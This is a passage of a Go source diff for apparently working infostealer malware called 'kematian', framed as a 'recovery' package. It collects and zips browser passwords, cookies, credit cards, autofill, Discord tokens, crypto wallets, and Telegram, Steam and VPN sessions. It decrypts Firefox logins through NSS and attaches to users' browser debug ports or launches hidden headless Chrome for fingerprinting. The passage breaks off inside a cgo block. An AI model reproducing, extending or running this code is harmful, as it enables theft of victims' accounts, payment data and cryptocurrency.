client := &http.Client{Timeout: 5 * time.Second}
resp, err := client.Get("https://api.ipify.org")
if err != nil {
return "unknown"
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
return strings.TrimSpace(string(body))
}
func CollectAndZipAll(ctx context.Context) ([]byte, map[string]int, error) {
opts := types.CollectOptions{
Browsers: true,
Passwords: true,
Cookies: true,
Autofill: true,
History: true,
Bookmarks: true,
CreditCards: true,
Discord: true,
Files: true,
Wallets: true,
Telegram: true,
Keys: true,
Apps: true,
Gaming: true,
VPNs: true,
}
tmpDir, err := os.MkdirTemp("", "kematian-*")
if err != nil {
return nil, nil, err
}
defer os.RemoveAll(tmpDir)
result, err := recovery.Collect(ctx, opts, nil)
if err != nil {
return nil, nil, fmt.Errorf("collection failed: %w", err)
}
extensions := recovery.ScanExtensions()
result.Extensions = extensions
counts := map[string]int{
"passwords": len(result.Passwords),
"cookies": len(result.Cookies),
"wallets": len(result.Wallets),
"telegram": len(result.Telegram),
"extensions": len(result.Extensions),
"keys": len(result.Keys),
"gaming": 0,
"vpns": 0,
"files": len(result.Files),
}
if result.Gaming != nil {
if result.Gaming.Steam != nil {
counts["gaming"]++
}
counts["gaming"] += len(result.Gaming.BattleNet) + len(result.Gaming.Epic) + len(result.Gaming.Riot) + len(result.Gaming.Uplay)
}
if result.VPNs != nil {
counts["vpns"] = len(result.VPNs.NordVPN) + len(result.VPNs.WireGuard) + len(result.VPNs.OpenVPN) + len(result.VPNs.Mullvad)
}
writeJSON := func(name string, data interface{}) error {
jsonData, err := json.MarshalIndent(data, "", " ")
if err != nil {
return err
}
return os.WriteFile(filepath.Join(tmpDir, name+".json"), jsonData, 0644)
}
_ = writeJSON("passwords", result.Passwords)
_ = writeJSON("cookies", result.Cookies)
_ = writeJSON("autofill", result.Autofill)
_ = writeJSON("history", result.History)
_ = writeJSON("bookmarks", result.Bookmarks)
_ = writeJSON("credit_cards", result.CreditCards)
_ = writeJSON("discord_tokens", result.DiscordTokens)
_ = writeJSON("extensions", result.Extensions)
_ = writeJSON("wallets", result.Wallets)
_ = writeJSON("telegram", result.Telegram)
_ = writeJSON("keys", result.Keys)
_ = writeJSON("app_credentials", result.AppCredentials)
_ = writeJSON("gaming", result.Gaming)
_ = writeJSON("vpns", result.VPNs)
_ = writeJSON("fingerprint", recovery.CollectFingerprint())
_ = writeJSON("js_fingerprint", recovery.CollectJSFingerprint())
_ = writeJSON("meta", map[string]string{"collected_at": time.Now().Format(time.RFC3339)})
for _, wallet := range result.Wallets {
if wallet.Path != "" {
zipData, err := recovery.ZipDirectory(wallet.Path)
if err == nil && len(zipData) > 0 {
walletZipPath := filepath.Join(tmpDir, fmt.Sprintf("wallet_%s.zip", sanitizeFilename(wallet.Name)))
os.WriteFile(walletZipPath, zipData, 0644)
}
}
}
for _, tg := range result.Telegram {
if tg.Path != "" {
zipData, err := recovery.ZipTelegram(tg.Path)
if err == nil && len(zipData) > 0 {
tgZipPath := filepath.Join(tmpDir, fmt.Sprintf("telegram_%s.zip", sanitizeFilename(tg.Account)))
os.WriteFile(tgZipPath, zipData, 0644)
}
}
}
if result.Gaming != nil {
if result.Gaming.Steam != nil && result.Gaming.Steam.SteamPath != "" {
zipData, err := recovery.ZipSteamSession(result.Gaming.Steam.SteamPath)
if err == nil && len(zipData) > 0 {
os.WriteFile(filepath.Join(tmpDir, "gaming_steam.zip"), zipData, 0644)
}
}
}
zipData, err := ziputil.ZipDirectory(tmpDir)
if err != nil {
return nil, nil, err
}
return zipData, counts, nil
}
func sanitizeFilename(name string) string {
replacer := strings.NewReplacer(
"/", "_", "\\", "_", ":", "_", "*", "_", "?", "_",
"\"", "_", "<", "_", ">", "_", "|", "_", " ", "_",
)
return replacer.Replace(name)
}
@@ -0,0 +1,264 @@
//go:build windows
package fingerprint
import (
"context"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"github.com/chromedp/cdproto/runtime"
"github.com/chromedp/chromedp"
)
func evalAwaitPromise(p *runtime.EvaluateParams) *runtime.EvaluateParams {
return p.WithAwaitPromise(true)
}
const fingerprintJS = `(async () => {
const out = {};
try {
const c = document.createElement("canvas");
c.width = 220; c.height = 60;
const x = c.getContext("2d");
x.textBaseline = "top";
x.font = "14px 'Arial'";
x.fillStyle = "#f60";
x.fillRect(0, 0, 220, 60);
x.fillStyle = "#069";
x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 2, 2);
x.fillStyle = "rgba(102, 204, 0, 0.7)";
x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 4, 17);
x.fillStyle = "#f60";
x.beginPath(); x.arc(100, 40, 20, 0, Math.PI * 2, true); x.fill();
out.canvas = c.toDataURL();
} catch (e) {}
try {
const gl = document.createElement("canvas").getContext("webgl");
if (gl) {
const ext = gl.getExtension("WEBGL_debug_renderer_info");
out.webglRenderer = ext ? String(gl.getParameter(ext.UNMASKED_RENDERER_WEBGL)) : String(gl.getParameter(gl.RENDERER));
out.webglVendor = ext ? String(gl.getParameter(ext.UNMASKED_VENDOR_WEBGL)) : String(gl.getParameter(gl.VENDOR));
out.webglVersion = String(gl.getParameter(gl.VERSION));
const keys = ["MAX_TEXTURE_SIZE","MAX_VIEWPORT_DIMS","MAX_RENDERBUFFER_SIZE","MAX_VERTEX_ATTRIBS","MAX_VERTEX_UNIFORM_VECTORS","MAX_VARYING_VECTORS","MAX_FRAGMENT_UNIFORM_VECTORS","MAX_TEXTURE_IMAGE_UNITS","MAX_COMBINED_TEXTURE_IMAGE_UNITS","ALIASED_LINE_WIDTH_RANGE","ALIASED_POINT_SIZE_RANGE"];
const params = {};
for (const k of keys) {
try {
let v = gl.getParameter(gl[k]);
if (v && v.length !== undefined && typeof v !== "string") v = Array.from(v);
params[k] = v;
} catch (e) {}
}
out.webglParams = params;
const exts = gl.getSupportedExtensions();
out.webglExtensions = exts ? exts.slice().sort() : [];
}
} catch (e) {}
try {
const ac = new OfflineAudioContext(1, 44100, 44100);
const osc = ac.createOscillator();
osc.type = "triangle";
osc.frequency.value = 10000;
const comp = ac.createDynamicsCompressor();
comp.threshold.value = -50;
comp.knee.value = 40;
comp.ratio.value = 12;
comp.attack.value = 0;
comp.release.value = 0.25;
osc.connect(comp);
comp.connect(ac.destination);
osc.start(0);
const buf = await ac.startRendering();
const data = buf.getChannelData(0);
let sum = 0;
for (let i = 0; i < data.length; i++) sum += Math.abs(data[i]);
out.audio = sum;
} catch (e) {}
return out;
})()`
func CollectJS() *JSResult {
res, err := collectJS()
if err != nil {
return nil
}
return res
}
func collectJS() (*JSResult, error) {
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
if wsURL := findExistingDebugURL(); wsURL != "" {
logf("found existing debug endpoint")
if res, err := runRemote(ctx, wsURL); err == nil {
return res, nil
} else {
logf("existing debug endpoint failed: %v", err)
}
}
chrome := browserExePath("Chrome")
if chrome == "" {
chrome = browserExePath("Edge")
}
if chrome == "" {
return nil, fmt.Errorf("no Chromium browser found")
}
logf("spawning hidden Chromium: %s", chrome)
res, err := runHidden(ctx, chrome)
if err != nil {
logf("hidden Chromium failed: %v", err)
}
return res, err
}
func runRemote(ctx context.Context, wsURL string) (*JSResult, error) {
allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL)
defer cancel()
return evalJS(allocCtx)
}
func runHidden(ctx context.Context, chromePath string) (*JSResult, error) {
dataDir, err := os.MkdirTemp("", "kematian_fp_*")
if err != nil {
return nil, fmt.Errorf("temp profile dir: %w", err)
}
defer os.RemoveAll(dataDir)
if res, err := runHiddenWith(ctx, chromePath, dataDir, true); err == nil {
return res, nil
} else {
logf("GPU launch failed: %v; retrying with software rendering", err)
}
return runHiddenWith(ctx, chromePath, dataDir, false)
}
func runHiddenWith(ctx context.Context, chromePath, dataDir string, gpu bool) (*JSResult, error) {
args := []string{
"--headless",
"--no-sandbox",
"--disable-dev-shm-usage",
"--no-first-run",
"--no-default-browser-check",
"--disable-extensions",
"--user-data-dir=" + dataDir,
"--remote-debugging-port=0",
"about:blank",
}
if gpu {
args = append(args, "--use-gl=angle", "--use-angle=d3d11", "--disable-gpu-sandbox")
} else {
args = append(args, "--disable-gpu")
}
cmd := exec.Command(chromePath, args...)
cmd.Stdout = io.Discard
cmd.Stderr = chromeLogWriter{}
if err := cmd.Start(); err != nil {
return nil, fmt.Errorf("start chrome: %w", err)
}
defer func() { _ = cmd.Process.Kill() }()
wsURL, err := waitForDevTools(dataDir, 10*time.Second)
if err != nil {
return nil, err
}
allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL)
defer cancel()
return evalJS(allocCtx)
}
func waitForDevTools(dataDir string, timeout time.Duration) (string, error) {
portFile := filepath.Join(dataDir, "DevToolsActivePort")
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
data, err := os.ReadFile(portFile)
if err == nil {
lines := strings.Split(strings.TrimSpace(string(data)), "\n")
if len(lines) >= 2 {
port := strings.TrimSpace(lines[0])
path := strings.TrimSpace(lines[1])
if port != "" && path != "" {
return "ws://127.0.0.1:" + port + path, nil
}
}
}
time.Sleep(100 * time.Millisecond)
}
return "", fmt.Errorf("chrome did not expose a DevTools port")
}
type chromeLogWriter struct{}
func (chromeLogWriter) Write(p []byte) (int, error) {
for _, line := range strings.Split(strings.TrimSpace(string(p)), "\n") {
if line != "" {
logf("chrome: %s", line)
}
}
return len(p), nil
}
func evalJS(allocCtx context.Context) (*JSResult, error) {
cctx, cancel := chromedp.NewContext(allocCtx)
defer cancel()
var out JSResult
if err := chromedp.Run(cctx,
chromedp.Navigate("about:blank"),
chromedp.Evaluate(fingerprintJS, &out, evalAwaitPromise),
); err != nil {
return nil, err
}
return &out, nil
}
func findExistingDebugURL() string {
local := os.Getenv("LOCALAPPDATA")
if local == "" {
return ""
}
for _, dir := range []string{`Google\Chrome\User Data`, `Microsoft\Edge\User Data`, `BraveSoftware\Brave-Browser\User Data`} {
data, err := os.ReadFile(filepath.Join(local, dir, "DevToolsActivePort"))
if err != nil {
continue
}
lines := strings.Split(strings.TrimSpace(string(data)), "\n")
if len(lines) < 2 {
continue
}
port := strings.TrimSpace(lines[0])
if port == "" {
continue
}
if wsURL, err := debugWebSocketURL(port); err == nil && wsURL != "" {
return wsURL
}
}
return ""
}
func debugWebSocketURL(port string) (string, error) {
client := &http.Client{Timeout: 2 * time.Second}
resp, err := client.Get("http://127.0.0.1:" + port + "/json/version")
if err != nil {
return "", err
}
defer resp.Body.Close()
var v struct {
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
}
if err := json.NewDecoder(resp.Body).Decode(&v); err != nil {
return "", err
}
return v.WebSocketDebuggerURL, nil
}
@@ -0,0 +1,7 @@
//go:build !windows
package fingerprint
func CollectJS() *JSResult {
return nil
}
@@ -0,0 +1,7 @@
//go:build !windows
package fingerprint
func Collect() *Result {
return &Result{}
}
@@ -0,0 +1,483 @@
//go:build windows
package fingerprint
import (
"fmt"
"net"
"os"
"path/filepath"
"runtime"
"sort"
"strings"
"syscall"
"unsafe"
"golang.org/x/sys/windows/registry"
)
// ── Win32 API (raw syscalls) ──────────────────────────────────────
var (
user32 = syscall.NewLazyDLL("user32.dll")
kernel32 = syscall.NewLazyDLL("kernel32.dll")
gdi32 = syscall.NewLazyDLL("gdi32.dll")
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
procSystemParametersInfo = user32.NewProc("SystemParametersInfoW")
procGetDC = user32.NewProc("GetDC")
procReleaseDC = user32.NewProc("ReleaseDC")
procGetDeviceCaps = gdi32.NewProc("GetDeviceCaps")
procGetActiveProcessorCount = kernel32.NewProc("GetActiveProcessorCount")
procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx")
procGetUserDefaultLocaleName = kernel32.NewProc("GetUserDefaultLocaleName")
procGetTimeZoneInformation = kernel32.NewProc("GetTimeZoneInformation")
)
type memoryStatusEx struct {
Length uint32
MemoryLoad uint32
TotalPhys uint64
AvailPhys uint64
TotalPageFile uint64
AvailPageFile uint64
TotalVirtual uint64
AvailVirtual uint64
AvailExtendedVirtual uint64
}
type systemTime struct {
Year uint16
Month uint16
DayOfWeek uint16
Day uint16
Hour uint16
Minute uint16
Second uint16
Milliseconds uint16
}
type timeZoneInformation struct {
Bias int32
StandardName [32]uint16
StandardDate systemTime
StandardBias int32
DaylightName [32]uint16
DaylightDate systemTime
DaylightBias int32
}
type rect struct {
Left int32
Top int32
Right int32
Bottom int32
}
// ── Collect ───────────────────────────────────────────────────────
func Collect() *Result {
r := &Result{
Platform: "Win32",
OSArch: runtime.GOARCH,
}
r.OS = osProductName()
r.HardwareConcurrency = cpuCores()
r.DeviceMemory = deviceMemoryGB()
r.MaxTouchPoints = getSystemMetrics(95) // SM_MAXIMUMTOUCHES
r.ScreenWidth = getSystemMetrics(0) // SM_CXSCREEN
r.ScreenHeight = getSystemMetrics(1) // SM_CYSCREEN
var work rect
if systemParametersInfo(0x0030 /*SPI_GETWORKAREA*/, 0, unsafe.Pointer(&work), 0) {
r.AvailWidth = int(work.Right - work.Left)
r.AvailHeight = int(work.Bottom - work.Top)
}
hdc, _, _ := procGetDC.Call(0)
if hdc != 0 {
r.ColorDepth = getDeviceCaps(hdc, 12) // BITSPIXEL
if dpi := getDeviceCaps(hdc, 88); dpi > 0 { // LOGPIXELSX
r.DevicePixelRatio = float64(dpi) / 96.0
}
procReleaseDC.Call(0, hdc)
}
r.Timezone, r.TimezoneOffset = timezoneInfo()
r.Languages = languages()
r.Fonts = fonts()
r.GPU = gpuName()
r.Browsers = installedBrowsers()
r.UserAgent = userAgent(r.Browsers)
r.LocalIPs = localIPs()
return r
}
func getSystemMetrics(index int) int {
v, _, _ := procGetSystemMetrics.Call(uintptr(index))
return int(v)
}
func systemParametersInfo(uiAction, uiParam uint32, pvParam unsafe.Pointer, fWinIni uint32) bool {
r, _, _ := procSystemParametersInfo.Call(uintptr(uiAction), uintptr(uiParam), uintptr(pvParam), uintptr(fWinIni))
return r != 0
}
func getDeviceCaps(hdc uintptr, index int) int {
v, _, _ := procGetDeviceCaps.Call(hdc, uintptr(index))
return int(v)
}
func cpuCores() int {
v, _, _ := procGetActiveProcessorCount.Call(0xffff) // ALL_PROCESSOR_GROUPS
if v == 0 {
return runtime.NumCPU()
}
return int(v)
}
func deviceMemoryGB() int {
var ms memoryStatusEx
ms.Length = uint32(unsafe.Sizeof(ms))
r, _, _ := procGlobalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&ms)))
if r == 0 {
return 0
}
gb := int(ms.TotalPhys / (1 << 30))
if gb > 8 {
gb = 8 // navigator.deviceMemory is clamped to 8
}
return gb
}
// ── OS ─────────────────────────────────────────────────────────────
func osProductName() string {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE)
if err != nil {
return "Windows"
}
defer k.Close()
product, _, _ := k.GetStringValue("ProductName")
build, _, _ := k.GetStringValue("CurrentBuildNumber")
display, _, _ := k.GetStringValue("DisplayVersion")
ubr, _, _ := k.GetStringValue("UBR")
name := product
if name == "" {
name = "Windows"
}
ver := display
if ver == "" && build != "" {
ver = build
if ubr != "" {
ver = build + "." + ubr
}
}
if ver != "" {
return name + " " + ver
}
return name
}
// ── Timezone ──────────────────────────────────────────────────────
// windowsToIANA maps common Windows timezone names to IANA identifiers.
var windowsToIANA = map[string]string{
"Eastern Standard Time": "America/New_York",
"Central Standard Time": "America/Chicago",
"Mountain Standard Time": "America/Denver",
"Pacific Standard Time": "America/Los_Angeles",
"Alaskan Standard Time": "America/Anchorage",
"Hawaiian Standard Time": "Pacific/Honolulu",
"Atlantic Standard Time": "America/Halifax",
"Newfoundland Standard Time": "America/St_Johns",
"GMT Standard Time": "Europe/London",
"Greenwich Standard Time": "Atlantic/Reykjavik",
"W. Europe Standard Time": "Europe/Berlin",
"Central Europe Standard Time": "Europe/Budapest",
"Romance Standard Time": "Europe/Paris",
"Central European Standard Time": "Europe/Warsaw",
"E. Europe Standard Time": "Europe/Chisinau",
"Russian Standard Time": "Europe/Moscow",
"Israel Standard Time": "Asia/Jerusalem",
"China Standard Time": "Asia/Shanghai",
"Tokyo Standard Time": "Asia/Tokyo",
"Korea Standard Time": "Asia/Seoul",
"Singapore Standard Time": "Asia/Singapore",
"India Standard Time": "Asia/Kolkata",
"AUS Eastern Standard Time": "Australia/Sydney",
"New Zealand Standard Time": "Pacific/Auckland",
"SA Pacific Standard Time": "America/Bogota",
"Argentina Standard Time": "America/Argentina/Buenos_Aires",
"E. South America Standard Time": "America/Sao_Paulo",
}
func timezoneInfo() (string, int) {
var tzi timeZoneInformation
r, _, _ := procGetTimeZoneInformation.Call(uintptr(unsafe.Pointer(&tzi)))
if r == 0xFFFFFFFF {
return "", 0
}
windowsName := syscall.UTF16ToString(tzi.StandardName[:])
offset := -int(tzi.Bias)
iana := windowsToIANA[windowsName]
if iana == "" {
iana = windowsName
}
return iana, offset
}
// ── Languages ─────────────────────────────────────────────────────
func languages() []string {
var langs []string
var buf [85]uint16
r, _, _ := procGetUserDefaultLocaleName.Call(uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
if r > 0 && r <= uintptr(len(buf)) {
locale := syscall.UTF16ToString(buf[:r])
if locale != "" {
langs = append(langs, locale)
}
}
if prefs := chromeAcceptLanguages(); prefs != "" {
for _, l := range strings.Split(prefs, ",") {
l = strings.TrimSpace(l)
if l != "" && !containsStr(langs, l) {
langs = append(langs, l)
}
}
}
return langs
}
func chromeAcceptLanguages() string {
local := os.Getenv("LOCALAPPDATA")
if local == "" {
return ""
}
path := filepath.Join(local, `Google\Chrome\User Data\Default\Preferences`)
data, err := os.ReadFile(path)
if err != nil {
return ""
}
s := string(data)
idx := strings.Index(s, `"accept_languages"`)
if idx < 0 {
return ""
}
rest := s[idx:]
colon := strings.Index(rest, ":")
if colon < 0 {
return ""
}
rest = rest[colon+1:]
start := strings.Index(rest, `"`)
if start < 0 {
return ""
}
rest = rest[start+1:]
end := strings.Index(rest, `"`)
if end < 0 {
return ""
}
return rest[:end]
}
// ── Fonts ─────────────────────────────────────────────────────────
func fonts() []string {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts`,
registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
if err != nil {
return nil
}
defer k.Close()
names, err := k.ReadValueNames(-1)
if err != nil {
return nil
}
var out []string
seen := map[string]bool{}
for _, name := range names {
f := strings.TrimSpace(name)
f = strings.TrimSuffix(f, " (TrueType)")
f = strings.TrimSuffix(f, " (OpenType)")
f = strings.TrimSuffix(f, " (All res)")
if f == "" || seen[f] {
continue
}
seen[f] = true
out = append(out, f)
}
sort.Strings(out)
return out
}
// ── GPU ───────────────────────────────────────────────────────────
func gpuName() string {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}`,
registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
if err != nil {
return ""
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(-1)
for _, sub := range subs {
if !strings.HasPrefix(sub, "0") {
continue
}
sk, err := registry.OpenKey(k, sub, registry.QUERY_VALUE)
if err != nil {
continue
}
desc, _, _ := sk.GetStringValue("DriverDesc")
sk.Close()
desc = strings.TrimSpace(desc)
if desc == "" || strings.Contains(desc, "Microsoft Basic Display") ||
strings.Contains(desc, "Microsoft Remote Display") {
continue
}
return desc
}
return ""
}
// ── Installed browsers ────────────────────────────────────────────
var browserUpdateGUIDs = []struct {
name string
guid string
}{
{"Chrome", `{8A69D345-D564-463c-AFF1-A69D9E530F96}`},
{"Edge", `{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}`},
{"Brave", `{AFE6A462-C574-4B8A-AF43-4CC60DF4563B}`},
}
func installedBrowsers() []Browser {
var out []Browser
for _, b := range browserUpdateGUIDs {
ver := browserVersion(b.guid)
if ver == "" {
continue
}
out = append(out, Browser{Name: b.name, Version: ver, Path: browserExePath(b.name)})
}
return out
}
func browserVersion(guid string) string {
for _, root := range []string{`SOFTWARE\Google\Update\Clients\`, `SOFTWARE\WOW6432Node\Google\Update\Clients\`} {
k, err := registry.OpenKey(registry.LOCAL_MACHINE, root+guid, registry.QUERY_VALUE)
if err != nil {
continue
}
pv, _, err := k.GetStringValue("pv")
k.Close()
if err == nil && pv != "" {
return pv
}
}
return ""
}
func browserExePath(name string) string {
var paths []string
pf := os.Getenv("ProgramFiles")
pf86 := os.Getenv("ProgramFiles(x86)")
switch name {
case "Chrome":
paths = []string{
filepath.Join(pf, `Google\Chrome\Application\chrome.exe`),
filepath.Join(pf86, `Google\Chrome\Application\chrome.exe`),
}
case "Edge":
paths = []string{
filepath.Join(pf, `Microsoft\Edge\Application\msedge.exe`),
filepath.Join(pf86, `Microsoft\Edge\Application\msedge.exe`),
}
case "Brave":
paths = []string{
filepath.Join(pf, `BraveSoftware\Brave-Browser\Application\brave.exe`),
filepath.Join(pf86, `BraveSoftware\Brave-Browser\Application\brave.exe`),
}
}
for _, p := range paths {
if _, err := os.Stat(p); err == nil {
return p
}
}
return ""
}
// ── User agent ────────────────────────────────────────────────────
func userAgent(browsers []Browser) string {
order := []string{"Chrome", "Edge", "Brave"}
version := ""
for _, want := range order {
for _, b := range browsers {
if b.Name == want && b.Version != "" {
version = b.Version
break
}
}
if version != "" {
break
}
}
if version == "" {
return ""
}
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", version)
}
// ── Local IPs ─────────────────────────────────────────────────────
func localIPs() []string {
ifaces, err := net.Interfaces()
if err != nil {
return nil
}
var ips []string
for _, iface := range ifaces {
addrs, err := iface.Addrs()
if err != nil {
continue
}
for _, addr := range addrs {
ip, _, err := net.ParseCIDR(addr.String())
if err != nil {
continue
}
if v4 := ip.To4(); v4 != nil && !v4.IsLoopback() {
s := v4.String()
if !containsStr(ips, s) {
ips = append(ips, s)
}
}
}
}
return ips
}
func containsStr(s []string, v string) bool {
for _, x := range s {
if x == v {
return true
}
}
return false
}
+11
View File
@@ -0,0 +1,11 @@
package fingerprint
type JSResult struct {
Canvas string `json:"canvas,omitempty"`
WebGLRenderer string `json:"webglRenderer,omitempty"`
WebGLVendor string `json:"webglVendor,omitempty"`
WebGLVersion string `json:"webglVersion,omitempty"`
WebGLParams map[string]interface{} `json:"webglParams,omitempty"`
WebGLExtensions []string `json:"webglExtensions,omitempty"`
Audio float64 `json:"audio,omitempty"`
}
+7
View File
@@ -0,0 +1,7 @@
package fingerprint
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[fingerprint] "+format, args...)
}
+32
View File
@@ -0,0 +1,32 @@
package fingerprint
// Browser is an installed browser and its version.
type Browser struct {
Name string `json:"name"`
Version string `json:"version"`
Path string `json:"path,omitempty"`
}
// Result is the collected native fingerprint.
type Result struct {
UserAgent string `json:"userAgent"`
Platform string `json:"platform"`
OS string `json:"os"`
OSArch string `json:"osArch"`
Languages []string `json:"languages"`
HardwareConcurrency int `json:"hardwareConcurrency"`
DeviceMemory int `json:"deviceMemory"`
MaxTouchPoints int `json:"maxTouchPoints"`
ScreenWidth int `json:"screenWidth"`
ScreenHeight int `json:"screenHeight"`
AvailWidth int `json:"availWidth"`
AvailHeight int `json:"availHeight"`
ColorDepth int `json:"colorDepth"`
DevicePixelRatio float64 `json:"devicePixelRatio"`
Timezone string `json:"timezone"`
TimezoneOffset int `json:"timezoneOffset"`
Fonts []string `json:"fonts"`
GPU string `json:"gpu"`
Browsers []Browser `json:"browsers"`
LocalIPs []string `json:"localIps"`
}
+236
View File
@@ -0,0 +1,236 @@
package firefox
import (
"database/sql"
"encoding/json"
"fmt"
"os"
"path/filepath"
"sync"
"recovery/recovery/chromium"
"recovery/recovery/db"
"recovery/recovery/types"
)
type firefoxLoginFile struct {
Logins []firefoxLogin `json:"logins"`
}
type firefoxLogin struct {
Hostname string `json:"hostname"`
EncryptedUsername string `json:"encryptedUsername"`
EncryptedPassword string `json:"encryptedPassword"`
}
var nssmu sync.Mutex
func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.PasswordResult {
loginsPath := filepath.Join(profile.Path, "logins.json")
data, err := os.ReadFile(loginsPath)
if err != nil {
return nil
}
var logins firefoxLoginFile
if err := json.Unmarshal(data, &logins); err != nil {
return nil
}
if len(logins.Logins) == 0 {
return nil
}
nssmu.Lock()
defer nssmu.Unlock()
results := nssDecryptLogins(profile.Path, cfg.Name, logins.Logins)
var out []types.PasswordResult
for _, r := range results {
if r.URL != "" && (r.Username != "" || r.Password != "") {
r.Browser = cfg.Name
r.Profile = profile.Name
out = append(out, r)
}
}
return out
}
func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult {
dbPath := filepath.Join(profile.Path, "formhistory.sqlite")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
return nil
}
defer d.Close()
rows, err := d.Query("SELECT fieldname, value, timesUsed, firstUsed FROM moz_formhistory")
if err != nil {
rows2, err2 := d.Query("SELECT fieldname, value FROM moz_formhistory")
if err2 != nil {
return nil
}
defer rows2.Close()
var results []types.AutofillResult
for rows2.Next() {
var name, value sql.NullString
rows2.Scan(&name, &value)
if name.String != "" {
results = append(results, types.AutofillResult{
Name: name.String,
Value: value.String,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
defer rows.Close()
var results []types.AutofillResult
for rows.Next() {
var name, value sql.NullString
var timesUsed, firstUsed sql.NullInt64
rows.Scan(&name, &value, &timesUsed, &firstUsed)
var dateCreated int64
if firstUsed.Int64 > 0 {
dateCreated = firstUsed.Int64 / 1000000
}
if name.String != "" {
results = append(results, types.AutofillResult{
Name: name.String,
Value: value.String,
DateCreated: dateCreated,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig) []types.CookieResult {
dbPath := filepath.Join(profile.Path, "cookies.sqlite")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, nil)
if err != nil {
return nil
}
defer d.Close()
rows, err := d.Query("SELECT host, name, value, path, isSecure, isHttpOnly, expiry FROM moz_cookies")
if err != nil {
return nil
}
defer rows.Close()
var results []types.CookieResult
for rows.Next() {
var host, name, value, path sql.NullString
var secure, httpOnly, expiry sql.NullInt64
rows.Scan(&host, &name, &value, &path, &secure, &httpOnly, &expiry)
results = append(results, types.CookieResult{
Host: host.String,
Name: name.String,
Value: value.String,
Path: path.String,
Secure: secure.Int64 != 0,
HTTPOnly: httpOnly.Int64 != 0,
ExpiresUTC: expiry.Int64,
Browser: cfg.Name,
Profile: profile.Name,
})
}
return results
}
func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig) []types.HistoryResult {
dbPath := filepath.Join(profile.Path, "places.sqlite")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, nil)
if err != nil {
return nil
}
defer d.Close()
q := fmt.Sprintf(
`SELECT p.url, p.title, h.visit_date FROM moz_historyvisits h
JOIN moz_places p ON p.id = h.place_id
ORDER BY h.visit_date DESC LIMIT %d`,
chromium.HistoryLimit,
)
rows, err := d.Query(q)
if err != nil {
return nil
}
defer rows.Close()
var results []types.HistoryResult
for rows.Next() {
var url, title sql.NullString
var visitDate sql.NullInt64
rows.Scan(&url, &title, &visitDate)
var visitTimeUnix int64
if visitDate.Int64 > 0 {
visitTimeUnix = visitDate.Int64 / 1000000
}
if url.String != "" {
results = append(results, types.HistoryResult{
URL: url.String,
Title: title.String,
VisitTimeUnix: visitTimeUnix,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult {
dbPath := filepath.Join(profile.Path, "places.sqlite")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, nil)
if err != nil {
return nil
}
defer d.Close()
rows, err := d.Query(`SELECT b.title, p.url FROM moz_bookmarks b
JOIN moz_places p ON p.id = b.fk
WHERE b.type = 1 AND p.url != '' ORDER BY b.dateAdded DESC`)
if err != nil {
return nil
}
defer rows.Close()
var results []types.BookmarkResult
for rows.Next() {
var title, url sql.NullString
rows.Scan(&title, &url)
if url.String != "" {
results = append(results, types.BookmarkResult{
Name: title.String,
URL: url.String,
Type: "url",
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
+7
View File
@@ -0,0 +1,7 @@
package firefox
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[firefox] "+format, args...)
}
+163
View File
@@ -0,0 +1,163 @@
//go:build !windows
package firefox
/*
#cgo LDFLAGS: -ldl
#include <dlfcn.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
unsigned int type;
unsigned char *data;
unsigned int len;
} SECItem;
typedef int (*NSS_Init_Fn)(const char*);
typedef int (*NSS_Shutdown_Fn)(void);
typedef int (*PK11SDR_Decrypt_Fn)(SECItem*, SECItem*, void*);
typedef void (*PORT_Free_Fn)(void*);
static void* load_nss(const char* path) {
return dlopen(path, RTLD_LAZY | RTLD_GLOBAL);
}
static void close_nss(void* handle) {
if (handle) dlclose(handle);
}
static int call_nss_init(void* handle, const char* profile) {
NSS_Init_Fn fn = (NSS_Init_Fn)dlsym(handle, "NSS_Init");
if (!fn) return -1;
